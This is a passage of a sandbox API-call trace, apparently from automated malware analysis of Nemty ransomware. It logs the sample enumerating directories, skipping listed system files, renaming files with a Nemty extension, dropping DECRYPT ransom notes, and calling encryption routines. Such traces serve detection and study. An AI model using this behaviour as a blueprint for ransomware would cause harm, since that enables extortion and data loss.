lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.771] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.789] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.789] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.789] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.798] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.798] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.798] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0060.810] CloseHandle (hObject=0xffffffff) returned 0 [0060.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0060.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0060.810] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6340330 [0060.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0060.810] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.810] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dvdtransform.fx._nemty_kgobjgd_")) returned 0 [0060.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0060.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0060.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0060.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0060.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0060.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.811] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0060.811] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2=".") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="..") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="...") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="windows") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="$RECYCLE.BIN") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="rsa") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="NTDETECT.COM") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="ntldr") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="MSDOS.SYS") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="IO.SYS") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="boot.ini") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="boot.ini") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="AUTOEXEC.BAT") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="ntuser.dat") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="desktop.ini") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="CONFIG.SYS") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="RECYCLER") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="BOOTSECT.BAK") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="bootmgr") returned 1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="programdata") returned -1 [0060.811] lstrcmpiW (lpString1="FlipPage", lpString2="appdata") returned 1 [0060.811] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FlipPage", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0060.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FlipPage", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlipPage", lpUsedDefaultChar=0x0) returned 8 [0060.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FlipPage", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0060.812] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="FlipPage", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FlipPage", lpUsedDefaultChar=0x0) returned 8 [0060.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94248 [0060.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0060.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0060.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0060.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.812] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f942c0 [0060.812] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0060.812] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0060.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0060.820] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.820] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0060.821] CloseHandle (hObject=0x3cc) returned 1 [0060.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0060.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0060.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942c0 [0060.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94338 [0060.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0060.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0060.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x6340048 [0060.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0060.822] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0060.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.823] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.823] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0060.824] CloseHandle (hObject=0x3cc) returned 1 [0060.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0060.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0060.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94338 [0060.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd7e3f470, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd7e3f470, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0060.824] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0060.824] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xd7e3f470, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd7e3f470, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0060.824] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0060.824] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0060.824] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0060.824] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0060.824] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0060.824] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0060.824] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0060.824] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0060.824] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0060.824] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0060.824] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0060.825] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0060.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0060.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0060.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0060.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0060.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.825] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0060.825] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.825] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0060.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0060.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0060.826] Sleep (dwMilliseconds=0x5) [0060.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd7e8b730, dwHighDateTime=0x1d561e7)) [0060.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd7e8b730, dwHighDateTime=0x1d561e7)) [0060.838] GetLastError () returned 0xb7 [0060.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.838] GetLastError () returned 0xb7 [0060.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.838] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0060.838] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0060.838] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0060.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0060.838] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, 